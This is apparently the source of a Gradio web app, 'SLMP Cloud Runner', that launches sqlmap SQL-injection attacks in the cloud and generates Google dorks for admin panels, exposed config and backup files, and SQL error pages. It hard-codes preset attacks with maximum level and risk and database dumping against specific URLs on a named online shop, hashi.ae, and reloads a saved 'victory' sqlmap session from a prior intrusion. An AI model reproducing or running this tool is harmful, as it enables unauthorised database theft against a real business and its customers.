File size: 8,330 Bytes
4b5c6a0 ce30a49 a0dc135 ce30a49 a0dc135 b6ebc8d a0dc135 1c6f798 a0dc135 b6ebc8d ce30a49 4b5c6a0 947cf8b ce30a49 947cf8b ce30a49 947cf8b 1c6f798 b6ebc8d 947cf8b 4b5c6a0 947cf8b ce30a49 947cf8b 1c6f798 947cf8b 52d0ea4 c7bbb09 1ec74f2 947cf8b 1ec74f2 947cf8b 1ec74f2 947cf8b 1ec74f2 947cf8b 1ec74f2 4b5c6a0 1ec74f2 52d0ea4 1ec74f2 c7bbb09 4b5c6a0 947cf8b |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 |
import gradio as gr
import subprocess
import os
import shutil
from pathlib import Path
# --- Session Restoration Logic ---
def restore_session():
# SQLMap in Docker uses /root/.local/share/sqlmap/output/
session_source = "session.sqlite"
target_base = Path("/root/.local/share/sqlmap/output/hashi.ae")
if os.path.exists(session_source):
try:
target_base.mkdir(parents=True, exist_ok=True)
shutil.copy(session_source, target_base / "session.sqlite")
# Also try the www. variant
target_www = Path("/root/.local/share/sqlmap/output/www.hashi.ae")
target_www.mkdir(parents=True, exist_ok=True)
shutil.copy(session_source, target_www / "session.sqlite")
return f"β
Victory Session Injected into {target_base}"
except Exception as e:
return f"β οΈ Session restore warning: {str(e)}"
return "βΉοΈ No session file found in repository."
def run_sqlmap(url, threads, level, risk, tamper, techn, proxy, extra_args):
# Restore session first
session_status = restore_session()
if not url:
yield f"{session_status}\nβ Error: Target URL is required."
return
# Base command
cmd = ["python3", "/app/sqlmap-dev/sqlmap.py", "-u", url, "--batch"]
# Performance & Level
cmd += ["--threads", str(int(threads))]
cmd += ["--level", str(int(level))]
cmd += ["--risk", str(int(risk))]
# Specific options
if tamper:
cmd += ["--tamper", tamper]
if techn:
cmd += ["--technique", techn]
if proxy:
cmd += ["--proxy", proxy]
if extra_args:
cmd += extra_args.split()
yield f"{session_status}\nπ Launching SQLMAP Cloud Runner...\nπ°οΈ Command: {' '.join(cmd)}\n\n"
try:
process = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
bufsize=1,
universal_newlines=True
)
full_log = ""
for line in process.stdout:
full_log += line
yield full_log
process.wait()
if process.returncode == 0:
yield full_log + "\nβ
Scan completed successfully."
else:
yield full_log + f"\nβ οΈ Scan stopped with return code {process.returncode}."
except Exception as e:
yield f"β Fatal Error: {str(e)}"
# Pre-filled shortcuts
def set_hashi_victory():
return (
"https://hashi.ae/shop/page/4/?add-to-cart=638",
10, 5, 3,
"", "U", "",
"--dbms=Oracle --dump --force-ssl --unstable --random-agent --no-cast"
)
def set_search_attack():
return (
"https://hashi.ae/?s=iphone",
10, 5, 3,
"space2comment", "BEU", "",
"--dbms=Oracle --dump --force-ssl --unstable --random-agent --no-cast"
)
def set_mysql_attack():
return (
"https://hashi.ae/?s=iphone",
10, 5, 3,
"space2comment", "BEU", "",
"--dbms=MySQL --dump --force-ssl --random-agent --no-cast"
)
# --- Dork Studio Logic ---
def generate_dorks(domain, targeted_extensions, find_admin, find_files, find_errors):
dorks = []
base = f"site:{domain}" if domain else ""
if find_admin:
keywords = ["admin", "login", "dashboard", "portal", "cpanel", "wp-admin"]
for k in keywords:
dorks.append(f"Admin Search: {base} inurl:{k}")
if find_files:
exts = ["env", "log", "sql", "bak", "txt", "config"]
if targeted_extensions:
exts += targeted_extensions.split(",")
for ext in exts:
if ext.strip():
dorks.append(f"File Exposure ({ext.strip()}): {base} ext:{ext.strip()}")
dorks.append(f"{base} intitle:\"index of\"")
if find_errors:
errors = ["SQL syntax", "warning: mysql_", "unclosed quotation mark", "syntax error"]
for err in errors:
dorks.append(f"Error Leak: {base} intext:\"{err}\"")
return "\n".join(dorks)
with gr.Blocks(theme=gr.themes.Soft(primary_hue="blue", secondary_hue="slate")) as demo:
gr.Markdown("# π SLMP Cloud Runner v2.0 - Ultra Speed π©οΈ")
gr.Markdown("Deploy SQLMAP in the cloud for maximum bandwidth. Now includes Alpha Recon Studio.")
with gr.Tabs():
# TAB 1: ATTACK RUNNER
with gr.TabItem("βοΈ Attack Runner"):
with gr.Row():
with gr.Column(scale=2):
url_input = gr.Textbox(label="π― Target URL", placeholder="https://example.com/page.php?id=1")
with gr.Tabs():
with gr.TabItem("π Performance"):
with gr.Row():
threads_input = gr.Slider(minimum=1, maximum=10, step=1, value=10, label="Threads")
level_input = gr.Slider(minimum=1, maximum=5, step=1, value=5, label="Level")
risk_input = gr.Slider(minimum=1, maximum=3, step=1, value=3, label="Risk")
with gr.TabItem("π‘οΈ Advanced"):
tamper_input = gr.Textbox(label="π§ͺ Tampers", placeholder="space2comment,randomcase")
techn_input = gr.Textbox(label="π‘ Technique", placeholder="U (UNION), B (Blind), etc.")
proxy_input = gr.Textbox(label="π Proxy (Optional)", placeholder="http://127.0.0.1:8080")
extra_input = gr.Textbox(label="βοΈ Extra Arguments", placeholder="--dbms=Oracle --dump --batch")
with gr.Row():
btn_run = gr.Button("π₯ START SCAN", variant="primary")
with gr.Row():
btn_hashi = gr.Button("π° Hashi Victory", variant="secondary")
btn_search = gr.Button("π Search (Oracle)", variant="stop")
btn_mysql = gr.Button("π¬ Search (MySQL - Plan D)", variant="secondary")
btn_stop = gr.Button("π STOP", variant="stop")
with gr.Column(scale=3):
output_log = gr.Code(label="π LIVE CLOUD LOGS", language="markdown", interactive=False, lines=30)
# TAB 2: RECON STUDIO (Merged)
with gr.TabItem("π¦
Alpha Recon Studio"):
with gr.Row():
with gr.Column():
domain_input = gr.Textbox(label="Target Domain", placeholder="example.com")
ext_input = gr.Textbox(label="Custom Extensions", placeholder="jsp, php, asp")
with gr.Group():
check_admin = gr.Checkbox(label="Find Admin Panels", value=True)
check_files = gr.Checkbox(label="Find Sensitive Files", value=True)
check_errors = gr.Checkbox(label="Find SQL Errors", value=True)
btn_gen = gr.Button("π Generate Recon Dorks", variant="primary")
with gr.Column():
dork_output = gr.Code(label="Generated Dorks", language="text", lines=20)
# Event handlers Runner
btn_run.click(run_sqlmap,inputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input], outputs=output_log, queue=True)
btn_hashi.click(set_hashi_victory, outputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input])
btn_search.click(set_search_attack, outputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input])
btn_mysql.click(set_mysql_attack, outputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input])
# Event handlers Recon
btn_gen.click(generate_dorks, inputs=[domain_input, ext_input, check_admin, check_files, check_errors], outputs=dork_output)
if __name__ == "__main__":
print("β¨ SLMP Panel Live.")
demo.queue().launch(server_name="0.0.0.0", server_port=7860)
|